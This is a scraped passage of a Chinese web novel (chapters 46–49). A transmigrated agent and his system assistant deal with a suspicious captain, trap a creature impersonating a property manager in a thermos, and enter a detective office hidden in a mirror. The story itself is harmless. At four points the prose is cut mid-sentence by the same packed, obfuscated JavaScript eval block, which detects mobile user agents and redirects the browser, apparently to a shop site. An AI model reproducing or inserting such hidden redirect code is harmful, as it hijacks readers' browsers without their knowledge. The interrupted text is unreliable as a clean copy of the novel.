一道遥远而模糊的声音仿佛从天边传来,那声音扭曲而刺耳,赵四下意识的侧头,努力去听那声音在说什么。 乌黑的液体沸腾一样的滚起鸡蛋大小的水泡,又纷纷破裂。 天边的声音越发尖锐,最终炸开—— “……专员,尼古拉斯·赵四专员!!” 那些黑色的液体一僵,开始发生某些变化。 它们不再像是汹涌的、吞噬一切的潮水,而是像退潮一样,慢慢地、慢慢地退去。 它们退向一个方向。 退向那具躺在床上的身体。 赵四感觉自己正在上升。 穿过一层又一层的薄膜。 每穿过一层,就有一些东西重新回到他身上。 先是触觉。 然后是温度。 然后是声音。 然后是—— 他睁开眼睛,看到了卧室的天花板。 赵四眨了眨眼,低头看自己。 米白色的棉质睡衣映入眼帘。 他抬起手,两只手互相握住,能感觉到自己的温度是暖的。 赵四坐起来,被子从身上滑落。 【三儿?】 MK3000:【……乖,一边玩去,我得先缓缓。】 【咳,我拿到了身份卡的名字,叫青阳渡,你先搜索一下青阳渡的相关资料,我得抓紧时间学习学习人物言行。】 小章鱼缓了缓,感觉整只章都要不好了。 主系统在上,谁懂啊,刚刚那一瞬间,所有地方都在大声警报的救赎感。 MK3000发现事情不对的下一秒就按了紧急登出按钮,然后化成小男孩连滚带爬的去看赵四本体所在的生命维持仓,就为了确保这个大胆作死的专员别真把自己作死。 现在一切尘埃落定,专员好好的,只有MK3000受到了成吨精神伤害。 虽然很想骂人,但是终究是MK3000的职业素养占据了上风。 往嘴里塞了几颗糖,它勤勤恳恳拿着专员玩命得到的情报去查资料了。 外面的动静越来越大,在资料到手之前,赵四不得不先去解决门外的烂摊子。 他下了床,脚踏实地的触感让他的动作顿了一下,之后才慢吞吞的走到门边,握住门把手。 冰凉的金属触感从掌心传来。 他拉开门。 客厅里,一群人正保持着突入的姿势,僵在原地。 领头的那个人就站在卧室门前,手还保持着推门的动作。 赵四刚好在这时候拉开了卧室的门,和那位领头人四目相对。 MK3000没出声,却默默的刷了一个人物标签放在专员视野中。 看着领头人头顶上那个【虚沼事务署·总署特别行动队队长·沈恕(你朋友)】的标签,赵四低头轻咳了一声。 沈恕的表情很复杂。 “你……” “嗯?” “你……没死?” “……我看着,很像死了的样子?” 沈恕的目光在赵四身上来回扫,像是在确认什么,又像是在害怕确认什么。 赵四注意到,包括沈恕在内,在场的人没有一个人放松戒备。 场面显然僵持住了,夜风从没关严的窗缝里钻进来,窗帘轻轻动着。 也不知道是不是睡衣太单薄的缘故,赵四总觉得刚才还没这么凉。 他轻轻打了个寒战。 风穿过客厅、穿过绿萝、穿过吊灯、穿过卧室…… 【不对,】MK3000的声音在赵四耳边炸响,【检测到当前环境温度异常下降,预计十秒后将跌破零度——302外面有问题!】 赵四霍然站直,顾不上那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209022|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些几乎同一时刻转过来对准他的武器,急声道:“关大门!” 沈恕几乎没有反应延迟——他在电光石火间做出了选择:相信他! “小七,关门!” 排在队伍最后的正是刚才跑上跑下的小年轻。听到队长命令的瞬间,他下意识反手“咣当”一下甩上了门。 结果因为条件反射触发的太快,一不小心把身后跟着的胡主任关在了门外。 胡主任大惊失色:“哎等等,我还没进门啊!!” 关完门,小七呆住:“啊?我、这……” 赵四:“别开门!” MK3000:【温度下降停止了!】 【开门杀啊,这世界还挺热情。】 赵四咂舌,扫了一眼门外的八个大汉,朝沈恕说道:“我先去换个衣服,你们在客厅等我一下。” 听到这话,沈恕带来的人还在戒备中,他本人倒是放松了一点。 他没说什么,带着队员离卧室远了一点,算是给赵四留了点个人空间。 赵四转身回卧室换衣服,只是没关卧室门。 手指挑开扣子脱衣服的时候,MK3000说道:【有几个年轻人脸红了。】 赵四无所谓:【爱看就看。】 赵四挑的衣服和自己刚来这个世界时穿的是同一套,他刚刚发现这套衣服并没有消失,还安安稳稳挂在衣柜的某个角落。 一件件穿好衣服,他终于能在衣柜中内嵌的镜子中看到自己了。 说实话,赵四很理解那些看红了脸的人。 毕竟只要是人,就很难避免看脸这个刻在DNA里的行为。 而“青阳渡”是真的好看,全身上下哪都好看的那种。 这样的人在一眼能看到的地方大大方方换衣服,谁来了都得看两眼吧。 但是赵四还真不是故意不关门的,实在是现实所迫。 严格来说,赵四和这些人之间暂时不存在信任关系。 就目前的情况来说,特别行动队的人没立刻动手,都得归功于沈恕头顶上那个“你朋友”的标签—— 看来沈恕和“青阳渡”的交情确实深厚,这种情况下都愿意先等青阳渡给自己一个解释。 如果他把卧室门关上,脱离大部队视线,那这脆弱的平静就会被打破,下一秒这扇门就会变成透光的筛子。 而且赵四换衣服也是一种态度: 第一,类似于“看,我可没带什么武器在身上,先别动手,还能谈”; 第二,通过这个行为让他们看清楚,他不光神志清楚,而且动作灵活流畅不僵硬,怎么看都还算是个正常人。 当然了,还有最重要的一点。 拖延时间啊! 这熟人都找上门了,演员可还连基础人设都没拿到手呢! 连“青阳渡”是个什么人都不知道就上台表演,那可太完蛋了。 MK3000不愧是赵四的外挂,在赵四换衣服的这点时间里,顺利把青阳渡的公开资料全部打包发给了赵四。 涉及人设方面的则专门放大标红,赵四一目十行,飞速学习。 收拾完自己,也学的差不多了。 赵四重新走出卧室。 客厅里的气氛依然紧绷,但比起刚才剑拔弩张的局面,已经缓和了不少。 沈恕站在客厅中央,手下的人分散在四周。 这些人看似站的随意,实则占据了所有有利的攻击和防守位置。 这支队伍明显能看出来训练有素,且配合默契。 赵四在心里给这支队伍打了个高分。 “坐吧。”他率先在沙发上坐下,姿态放松得像是在自己家招待客人。 虽然这确实是“自己家”就是了。 沈恕盯着他看了两秒,才在对面的单人沙发上落座。 “解释一下。”沈恕开门见山,“一个小时前你死了,现在你活了——怎么回事?” 赵四微微侧过头,挑眉道:“一上来就问这个?我以为你会先问点要紧的,比如说……门外的‘胡主任’?” 沈恕:“他——” 话音未落,302的防盗门被拍得震天响。 胡主任委屈的声音穿透门板传进室内:“都这么久了,还有没有人管管我啊——” 47.第47章 玫瑰战争5 “都这么久了,还有没有人管管我啊——” 胡主任的声音穿透门板,委屈里带着点恐惧,活像个被遗忘在寒风里的怨种。 客厅里没人动。 沈恕的手下们齐刷刷看向他,等他示下。 小七更是满脸愧疚,手指头都绞在一起,一副“我闯祸了”的表情。 沈恕没理门外,目光还落在赵四身上。 “他?”他的声音很冷静,“他的事不急。” 赵四:“不急?” “他不会跑。”沈恕说,“你的事优先级最高。” 赵四忽然笑了。 那笑意浮在表面,那双浅棕色的眼睛乍一看清澈见底,底下掩藏着的东西却让人捉摸不透。 “沈队长,”他的声音不紧不慢,咬字的尾音有点轻,“以水洼衙门的能力和责任心,你不该对一个普通人摆出这种态度。” 沈恕没接话。 赵四继续说:“是感觉到胡主任不对劲了,对吧?” 沈恕的表情终于有了一丝变化——不是惊讶,而是“果然瞒不过你”的那种无奈。 “什么时候发现的?”他问。 “一开始。”赵四说,“一个小区,发生了命案,物业那边的第一反应竟然是在大群里发公告昭告天下。” “之后就更奇怪,一般这种大案子,你们第一反应应该是强行破门,越快越好。结果你们现在,带着一个物业主任,大半夜的试图用反诈宣传这种蹩脚的理由来‘骗门’——你觉得这合理吗?” 他顿了顿,补了一句:“我合理怀疑,他用某种能力扭曲了在场所有人的认知。包括你那些训练有素的手下。” 沈恕沉默了一下,然后点了点头。 “小七。”他开口。 小年轻立刻站直:“到!” “现在几点?” 小七愣了一下,下意识看了眼窗外。 外面夜色深沉,月亮挂在天边。 他自信回应道:“下午两点,队长!” 沈恕问其他人:“你们呢?” 每个人答案都不一样,有人说是早上八点,有人说是上午十点,有人说是下午五点。 总之,没一个说对的。 赵四听完,很感兴趣的问沈恕:“他们都说完了,你呢?” 沈恕:“下午……不,现在是凌晨三点。” 赵四很给面子地鼓掌:“恭喜沈队,只有你是对的。” 沈恕:“你怎么没受影响?” “可能因为我刚死过一次,还没完全回到这个世界的认知系统里?” 赵四说得轻松,但沈恕的表情却沉了下去。 “他想要什么?”沈恕问。 赵四没有立刻回答。 他站起身,走到门边,透过猫眼往外看了一眼。 胡主任还站在走廊里,正对着门,表情有点焦虑,又有点期待。 他的嘴还在动,像是在念叨什么,但声音传不进来。 这里的隔音确实很好,刚才胡主任那几声几乎是喊出来的才让他们听的清清楚楚。 赵四看了一会儿,回头看向沈恕。 “他不是来找你的。”他说,“也不是来找你那些手下的。” 沈恕站起身:“来找你?” “谁知道呢。” 赵四走回沙发前,重新坐下,顺手给自己倒了杯水。 他端起水杯,看向沈恕。 “蓬门莫启唤休应,无请哪得入室来……沈队长,这非请勿入的道理,不用我来教吧?” 人可以在主人家不在的时候闯空门,妖魔鬼怪可不行。 它们要想进有主的房子,要么靠“请”,要么就像胡主任这样,擦着规则的边,跟着进来。 沈恕的瞳孔微微收缩:“如果刚才它趁机和我们一起进来了……” 赵四端着水杯,迎着沈恕的目光,嘴角微微勾起。 “那我们这九条人命,也够换得它一顿饱餐。” 但凡刚才沈恕晚信他几秒,这事就有点麻烦了。 所以赵四才感慨这是开门杀。 门外的胡主任似乎也知道门内不会再给它开门了,动静总算消停了几分。 只是拍门喊门的声音是停了,类似指甲刮擦金属的窸窣声却一直隐隐约约传来。 门内众人面面相觑,难免起了一身鸡皮疙瘩。 沈恕到底是经验丰富,他虽然也有些后怕,但还没怕到连最开始的目的都忘了。 “青阳,别玩了,门外那个对你来说不是问题。”他的声音沉下来,“但是关于你……今天我不搞清楚你身上发生了什么,那我在衙门的活也算是干到头了。” 什么问题? 就是“一个小时前你死了,现在你活了——怎么回事?”的那个呗。 赵四在心里啧了一声:【他还惦记这事呢。】 MK3000:【任何一个能和你身家性命绑在一起的问题,想必你也能记得非常清楚。】 倒也是。 没听沈恕那话里的意思吗,只要不得到准确答案,他就可以滚回家自己吃自己了。 赵四无奈:【我也不想绕圈子敷衍他的。】 问题是,他也不知道为什么啊! 作为一个没有身份卡记忆的倒霉专员,还什么都没来得及调查清楚,就来问他这个问题的答案还是太超纲了。 但是也不是完全没有头绪。 【三儿啊,咱们的任务提示你还记得不?】 就是那句“请注意,演员不会死于舞台之上”。 这句话很有意思,赵四从“复活”成功之后,就隐隐觉得自己抓到了要点。 青阳渡的死相太安详了。 换位思考一下,什么人在受伤死去前还有心思给自己换套舒适的睡衣,妥帖的盖上被子,最后面带微笑的死去? MK3000:【你是说,青阳渡一开始就知道自己不会死?】 【准确的说,应该是知道自己能复活,而且别忘了真正的青阳渡在哪。】 那条主系统发来的短讯,除了通知MK3000扮演“助手一号”之外,还送来了一个非常重要的信息。 ——被主系统带到世界之外的,的的确确是个活着的人! 因为只有活人才需要仔细安置,死人的话直接安排投个好胎就好了。 之前一人一统都觉得那条主系统的跨界短讯里应该还有点别的门道,现在想想,这不会是青阳渡委婉的提醒吧? 赵四低声道:【青阳渡的意思是,“我”一直都活着……?】 MK3000:【我好像明白了,如果把任务提示中的“演员”看做青阳渡本人……】 以这个逻辑来看,青阳渡没死,完全是因为—— 一人一统异口同声:【是因为演员尚未谢幕!】 对啊,哪有演员还没下舞台,就真死在台上的? 舞台上的一切死亡,都是“表演”,是假的! 演员只要不谢幕退场,注定的终点就永远不会到来。 接下来还得再看看,这个“舞台”又是指的什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213833|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么再回到沈恕身上——他又想从青阳渡这里得到什么答案? 赵四若有所思:【三儿,你说沈恕这朋友,纯度怎么样?】 【从现有资料来看,纯度还挺高。】 【哦——那你说,“我”是他的白月光、朱砂痣、红白玫瑰心上人的概率,有多高?】 MK3000缓缓打出一个问号。 【不是,啊?】 还真不怪赵四想的多,主要是这个任务简介他实在是不得不考虑。 虽然之前也说过这东西不能全信,但换句话说,也不能完全不信啊! MK3000震撼完了也绕过了弯,它开始以全新的目光审视起沈恕这个人和青阳渡的过往。 得到的答案不是很乐观。 【概率……很高。】 【麻烦了。】 这件事如果被验证是真的,那不止之前想好用来应付沈恕的话术全都不能用了。 最重要的是,有一个沈恕验证了任务简报的真实度,那就代表着如简报所言,还会有更多“沈恕”出现! 赵四一直都知道,感情是最不稳定的变数。 ——而这场任务中,这样针对青阳渡的变数还不知道有多少个。 好家伙,这是上难度了。 赵四放下水杯,坐直了身体,决定先试试沈恕。 他调整了一下坐姿,往前倾身,半长的发丝随着动作滑落,垂在眉骨边上。 客厅里柔和的灯光落在他脸上,给“青阳渡”本就优越的皮相更添了三分光彩。 “沈队长,你认识我多少年了?” 沈恕几乎没有回忆,答案脱口而出:“十三年。” “十三年。”他慢悠悠地重复了一遍,声音轻得像是在自言自语,“记得这么清楚啊……” 沈恕被他看得有点不自在,眉头微微皱起:“你问这个干什么?” “没什么。” 赵四往后靠回沙发,姿态重新变得松散,但那双浅棕色的眼睛却比刚才更深了几分。 “就是突然想知道,咱们也认识这么多年了,今天你听说我死的时候,是什么感觉?” “什么意思?” “就是字面意思,你当时在想什么?” 沈恕盯着他看了一会,似乎在判断他为什么问这个。 然后他开口,公式化的语气里带着一丝不易察觉的亲近:“我很意外,你和虚沼牵扯太深,又总是有办法对付那些东西……我在想你这次到底出什么事才翻车了。” 赵四听完,嘴角微微弯了一下:“就这个?” 沈恕没回答,只是眉头拧得更紧了。 赵四一副“你不说话那我也不说话”的样子,全当周围的人不存在,懒懒散散地打了个哈欠。 实际上,他和MK3000一直在密切关注沈恕的一切细微变化。 MK3000:【沈恕下颌肌肉绷紧了一瞬间——他在思考和权衡。】 赵四在心里嗯了一声,面上不动声色。 客厅里安静得能听见窗外的风声,沈恕的队员们大气都不敢喘,所有人的注意力都被沙发上这场无声的角力牵住了。 没过太久,赵四就等来了自己想要的回应。 沈恕开口:“你想听什么?” 赵四微笑:“全部。” ——最好是把你的心直接敞开给我看,我才能更好的评估接下来的风险啊,沈队长。 沈恕深吸了一口气,像是在压着什么。 然后他开口,声音很稳。 “我……” 48.第48章 玫瑰战争6 “我之前也不算说谎,只是没把话说完。” 赵四靠在椅背上,目光越过桌面,落在沈恕脸上。 “青阳,”沈恕开口,声音压得很低,像是怕惊动什么,“虚沼是什么东西,你比我清楚。事务署盯了它们多少年,你也知道。这些年你那些……不清不楚的牵扯,我没问过,不代表我不知道。” 他顿了顿,扯了下嘴角,表情里带着点自嘲的苦涩。 “今天接到你的语音留言,说你自己会在凌晨两点死掉——你知道我第一个念头是什么吗?” “我想的是……他是不是终于被虚沼反噬了。” 房间里安静得能听见其他人的呼吸声。 沈恕没挪开目光,只是那双眼底翻涌着什么比十三年交情更重的东西。 他看着“青阳渡”,像是看着一个永远也够不着的人,他们明明近在咫尺,却如同隔着遥远的距离在遥遥互望。 “我……作为你的朋友,很担心你。” 赵四没有立刻接话。 他看见沈恕身后那几个队员,在沈恕看不见的角度,眼神交流得都快冒出火星子了。 MK3000在他意识里默默冒泡:【第一现场吃队长的瓜,可给他们稀罕坏了。】 赵四在心里长长地叹了口气,颇有种尘埃落定的摆烂感。 【我也算求锤得锤……我有种这趟活儿要干到明年的预感。】 【没这么快。】MK3000安慰他。 赵四面上还是端得住的。 他把自己的态度往后退了一步,退到礼貌的社交距离内,公事公办地给自己找了个台阶。 “我明白了,感谢沈队,你给出的答案很坦诚。” 他微微抬起下巴,目光里多了点审视的意味。 “这样就能确认了,你确实还是你本人,没被什么奇怪东西替换。” 沈恕那点被迫坦言的尴尬很快被冲散。 他皱起眉,下意识往门外看了一眼:“替换……也就是说还有个真的胡主任?” 赵四轻描淡写:“小问题。” 沈恕恢复得很快,他站起身,目光落在门的方向,语气已经带上了公事公办的冷静:“你打算怎么处理?” “处理?”赵四挑了挑眉,嘴角挂着一点似笑非笑的弧度,“沈队长,我一个刚活过来的普通人,哪来的本事处理那种东西?” 沈恕面无表情地看着他。 赵四想起来刚才从这双眼睛中窥视到的情感,率先败下阵来。 他摆了摆手:“行吧行吧,你来还是我来?” “你来。”沈恕说,语气笃定得像在陈述一个事实,“你是专业的。” 专业的。 赵四在心里快速过了一遍MK3000刚才发来的资料。 青阳渡,公开履历上职业一栏写的是“虚沼事务顾问”,说白了就是给水洼衙门打工的编外人员。 但资料里还有一行小字备注,让青阳渡显得深不可测了起来—— 曾多次协助事务署处理高危虚沼事件,目前暂无失败案例。 难怪沈恕这么信任他。 赵四站起来,活动了一下手腕,骨节发出轻微的咔哒声。 “行,那我就不客气了。” 他走向门口,脚步很轻,几乎听不见声响。 到了门边,他没有立刻动作,而是先透过猫眼往外看了一眼。 胡主任还站在走廊里,但姿势变了。 它不再拍门,而是贴着墙根蹲着,脑袋以一种诡异的角度扭向302的方向,脸上毫无表情管理,五官乱飞的模样看着就不太像人。 最渗人的是它的手。 它的指甲正在以肉眼可见的速度生长,又黑又长,弯曲得像鹰爪,刮在墙上发出令人牙酸的咯吱声。 那声音很轻,但在寂静的走廊里被放大了无数倍,一下一下,刮在人的神经上。 【三儿,开商城,看看有什么可以用的。】 开玩笑,赵四可没有特异功能来对付这东西,想解决问题,当然得靠万能的系统商城。 以青阳渡的人设,应该能兑换不少好东西吧? MK3000秒回:【已为您筛选合适商品。】 赵四挑了挑,很快选中了一个技能。 虚沼捕捉·初级版,消耗积分……反正主系统报销,所以不用看。 介绍是可以徒手捕捉低阶虚沼生物,虚沼生物的等级越低,捕捉的成功率就越高。 【胡主任什么级别?】 【虽然它的等级不算低,但是经计算,用青阳渡的身份使用该技能,技能成功率接近100%。】 赵四心里有了底,回头看向沈恕带来的人。 “你们有带什么能装东西的容器吗?最好是密封的。” 小七愣愣地举手,脸上还带着点没消化完刚才那些对话的懵:“我有保温杯成吗,玻璃的,刚买的还没用过……” 赵四没忍住多看了他一眼,虽然不知道这孩子为什么出任务要带一个玻璃的保温杯,但是—— “也行。” 他接过小七从怀里掏出来的保温杯,在手里掂了掂。 杯身还带着点体温,透明的杯壁能清楚看见里面空空如也。 他拧开盖子,把杯口对准门的方向。 然后他深吸一口气—— 猛地拉开门! 门外的“胡主任”像是被什么东西定住了。 那张扭曲的脸直直地对着门内,嘴张得老大,从喉咙深处发出嘶嘶的气音,像是有什么东西在里面蠕动。 赵四根本没给它反应的时间。 他一步跨出门槛,右手在空中虚虚一抓。 明明什么都没碰到,但所有人都看见他的手指在空中捏住了什么看不见的东西。 那东西看不见,却在挣扎,赵四的手背上青筋暴起,像是在和什么无形的力量角力。 然后他往回一扯! “胡主任”的身体顿时像是被抽走了主心骨,软软地瘫倒在地。 与此同时,一团黑灰色的、雾气一样的东西被他从“胡主任”身体里生生拽了出来! 那团雾气在空气中剧烈挣扎扭动,发出尖锐的嘶鸣。 那声音不像任何活物能发出的,刺得人耳膜生疼,像指甲刮过玻璃,又像什么东西在绝望地尖叫。 它拼命想往赵四身上扑,雾气翻涌间隐约能看见有什么东西在里面扭曲成形。 赵四根本没给它机会。 他左手一扬,保温杯的口对准那团雾气,右手往里一塞。 “进去吧你!” 雾气被强行塞进杯口,边缘还在挣扎着往外溢。 赵四眼疾手快拧上盖子,整个动作行云流水,前后不超过五秒。 保温杯在他手里剧烈震动起来,外壳瞬间凝出一层白霜,冻得他指尖发麻。 震动越来越剧烈,像是有什么东西在里面疯狂冲撞,想要破壁而出。 赵四敲了敲杯壁,“老实点。” 杯子猛地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217006|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一震,随后安静下来。 赵四把杯子递给沈恕,指尖还带着点冻过的红。 “喏,证据。回去交差吧。” 沈恕接过杯子,隔着杯壁看了一眼。 保温杯内壁已经泛起一层薄薄的霜,隐约能看见有什么东西在里面缓慢游动,像一团困在琥珀里的雾气。 “这是什么?” “胡主任的本体呗。”赵四拍了拍手上不存在的灰,语气轻松得像刚出门倒了个垃圾。 “估计是感应到我这儿的‘门’开了条缝,想趁虚而入捡便宜,结果你们也看到了。” 他看了眼地上那个真正胡主任的身体,对方正茫然地坐起来,一脸“我是谁我在哪儿”的表情,眼神涣散得厉害。 沈恕把保温杯交给小七,嘱咐他收好。 然后他看向赵四,目光复杂。 “你就这么空手解决了?” “不然呢?”赵四理直气壮,“它又打不过我。” 沈恕:“还有……” 赵四:“我的具体情况目前不方便告知,但是能告诉事务署那边的是,我现在已经没事了,一切合作照旧。” 沈恕沉默了一会,像是在消化这句话。 然后他点点头,语气里带着点认命的意味:“行,有你这句话就够了。” 他转身招呼手下准备撤离,走了两步又停下来,回头看向赵四。 “对了,事务署那边有个案子,可能需要你帮忙。” 赵四挑眉:“什么案子?” “明天你来一趟就知道了。”沈恕说,“我让人给你留门禁权限。” 赵四想了想,点头:“行,我明天过去。” 沈恕嗯了一声,没再多说什么。 他挥了挥手,特别行动队的人开始有序撤离。 小七路过赵四身边时,偷偷瞧了赵四一眼,才小声说了句“青阳先生再见”。 看见小孩脸上还带着点没褪下去的红,赵四差点没绷住表情。 不是,孩子,你路走窄了啊! 等人走光了,赵四靠在门框上,看着走廊里那个还在发懵的真·胡主任。 “胡主任,您还好吗?” 胡主任迷茫地抬头,眼神慢慢聚焦:“我……我怎么会在这儿?” “您刚才晕倒了。”赵四面不改色,“可能是低血糖,要不您回去歇着?” 胡主任晃晃悠悠站起来,嘴里嘟囔着“奇怪”“怎么会”之类的话,一步三晃地往楼下走。 走到楼梯转角时还不小心磕了下头,那一下子的疼让胡主任如梦初醒。 他左右看了看,搓着手臂上莫名炸起的寒毛,快快地跑了。 赵四目送他消失在楼梯转角,才关上门。 门一关,他脸上的表情立刻变了。 他快步回到客厅,站在那面镜子前。 镜子里映出的画面变了。 刚才还是正常的倒影——居民楼、绿萝、装饰画——现在镜面上却只剩他一个人。 好消息,这镜子终于能照出他的人影了。 坏消息,除了他本人,其他东西是半点照不出来,他的身边是一片模糊的灰白。 那灰白有点像被橡皮擦抹过的铅笔痕,但更像大雾天里浓得化不开的雾气。 他抬起手。 镜子里的他也抬起手。 他整个人在镜中都有点信号接触不良的味道,身体边缘在没有任何外界干扰的情况下微微抖动。 不是,这对吗?? 49.第49章 玫瑰战争7 在这个世界里,人和背景是不能共存了是吗。 赵四跟MK3000确认完自己在监控之类的地方看起来姑且还是个正常人后,上下打量着这面镜子。 镜子很普通。 普通的边框,普通的玻璃,普通地挂在墙上——如果忽略它此刻映出的画面的话。 【三儿,开扫描,再扫扫这镜子。】 他记得落地的时候扫描过一次,当时没发现异常。 但现在看来,那时候要么是扫描精度不够,要么是这东西会装死。 MK3000很快出了结果。 【检测到镜子有活跃能量反应,强度中等,性质……很奇特。】它顿了顿,【专员,你不好奇助手一号去哪了吗?】 哦对,还有助手一号来着。 赵四下意识摸了摸自己空荡荡的手腕。 那里什么都没有。 他从死人微活再到喜提身体,整个过程还算顺利。 但变成人之后,助手一号确实不见了。 听MK3000这意思,助手一号在镜子里? 【对,就在你面前这面镜子里。】MK3000说,【准确地说,镜子里有个独立空间,它在那里面。能量反应就是从那里透出来的。】 赵四看着镜中的自己,镜中的倒影也看着着他。 无形的灰白安静地环绕着他,仿佛毫无异状。 但就在他定睛的瞬间——灰白深处有什么东西动了动。 像是水底的暗流,像是雾中的影子。 看不清,摸不着,但确实存在。 然后,那片灰白开始缓慢旋转,以某个看不见的点为中心,一圈一圈,形成一个隐约的漩涡。 旋涡越转越快,直到最后,赵四在镜中的倒影被吞噬了。 像是某种无声的邀请……或者挑衅。 赵四看着那片吞噬了他倒影的灰白,忽然轻轻“哈”了一声。 【那就进去看看。】 没再犹豫。 他抬手,直接按在镜面上。 指尖触到的不是冰冷坚硬的玻璃,而是光滑的、柔软的、微微凹陷下去的触感。 像按进一层薄薄的水膜,只是那水没有温度,不冷也不热,像是把手伸进了某种不存在温度的液体里。 镜面以他的指尖为中心,泛起极轻的涟漪,一圈一圈荡开。 那些涟漪不是向外扩散,而是向内收缩,像是要把什么东西吸进去。 赵四没感觉到危险。 镜子里那个空间的气息,平和、安静,甚至有点……陈旧的好闻。 像老房子的阁楼,像晒过太阳的旧书,像很久没人打开但依然被好好保存的记忆。 他不再迟疑,干脆一步跨了进去。 最后一点衣摆消失在镜面的涟漪中时,眼前的画面瞬间颠倒变换。 该怎么形容这种感觉呢? 比把人扔进滚筒洗衣机里温和点吧,至少赵四没真吐出来。 一阵天旋地转,像是被什么东西拎着后颈颠过来倒过去的翻。 等眼前的画面终于稳定下来,已经不是302的客厅了,而是一间装潢考究的……侦探事务所? 暖黄色的光线落在他身上,带着壁炉特有的那种干燥的温热。 赵四弓着肩背,喉咙发紧,强忍住那股翻涌的恶心感。 跨界传送这事他干过不少次,技术这么差劲的倒是头一回。 【助手一号就在这里。】MK3000的声音在赵四脑海里响起,【它休眠了,我得先唤醒它,这个可能需要一点时间……专员,你振作一点。】 赵四摆摆手,【我没事……你先确认一下周围情况。】 MK3000迅速扫描了一圈,确认没有异常。 赵四这才放任自己倚着这里的墙,缓缓那股恶心劲。 房间里很安静,安静得能听见自己的心跳。 他闭着眼缓了几秒,等呼吸平复下来,才重新睁开眼,视线有目的地扫过这间事务所。 事务所不大,目测也就二十来平,却被人精心划出了两个区域。 进门这一半是待客区。 深色的木地板上铺着一块长绒地毯,暗纹的花样在壁炉的火光里若隐若现。 两组半旧的深棕色沙发对放着,中间隔着一张小小的圆几。 沙发扶手处的皮革已经被摩挲得光滑发亮,泛着岁月沉淀下来的那种温润光泽。 壁炉里的火轻轻跳着,橘红色的光映在墙上的铜质壁灯上,泛出柔和的光泽。 壁灯旁边挂着一幅油画,画的是个人影,但面容模糊在朦胧的笔触里,像隔着一层水雾,怎么也看不真切。 圆几上放着一盏小台灯,还有一叠杂志在旁边码得整整齐齐。 赵四的目光扫过那些杂志的书脊。 寥寥几本能分辨出写的都是些什么—— 《虚沼月刊·第三十七期》、《情绪构造体生存指南》、《如何在表世界保持存在感》、《水域聚合体常见纠纷调解案例》…… 他眼皮跳了一下,没吭声,继续往里面看。 办公区和待客区之间没有隔断,只凭着一张厚重橡木桌的摆位自然分开。 那张桌子很大,桌角被磨得圆润发亮,显然用了很多年。 桌面上摆着一台黄铜底座的老式台灯,灯边放着一个精致的黄铜名片架,名片架上插着一张名片。 赵四走过去,拿起名片看了一眼。 【青阳渡 虚沼事务侦探 ——专治各种想不开——】 最后那行字赵四多看了几眼,嘴角抽了抽。 “专治各种想不开”……这放在外面世界,不知道的还以为青阳渡开的是什么心理咨询工作室。 但结合刚才那叠杂志,这个“想不开”恐怕和大众意义上的“想不开”不是一回事。 他把名片插回去,目光落在办公桌另一边的置物架上。 那里最显眼的位置放着一本打开的本子,封皮写着“会客簿”三个字,字迹工整得像是印刷体。 旁边还摊着一本日程记录,密密麻麻记满了东西,有些条目后面还画着奇怪的符号。 赵四走过去,随手翻了翻。 会客簿上记录的是来访者的名字和事由,有“求助”“委托”“咨询”各种分类。 名字五花八门—— “城东水域聚合体·求助·水域边界被人类施工队侵犯”; “张女士·委托·寻找丈夫失踪前最后的记忆碎片”; “某街道怨念集合体·咨询·如何在不伤害人类的前提下表达不满”; “某小区三年份猫怨·委托·要求人类对强制绝育行为道歉”。 赵四:“……” 他翻到后面,又看见几条: “无名水域·求助·新生成的构造体找不到存在意义”; “陈先生·委托·确认亡妻是否在虚沼中”; “某情绪聚合体·咨询·如何与表世界的自己和解”。 赵四合上会客簿,沉默了两秒。 各种暂时看不懂的名词先不说,单看这间事务所—— 【青阳渡这侦探事务所……生意还挺好?】 而且这些东西无形中说明了一件事,那就是虚沼方面,很有可能自有一套完善的文明运行体系。 就像人类有人类社会,虚沼也有虚沼的社会。 只是这个社会的成员构成,看起来比较特别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222465|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 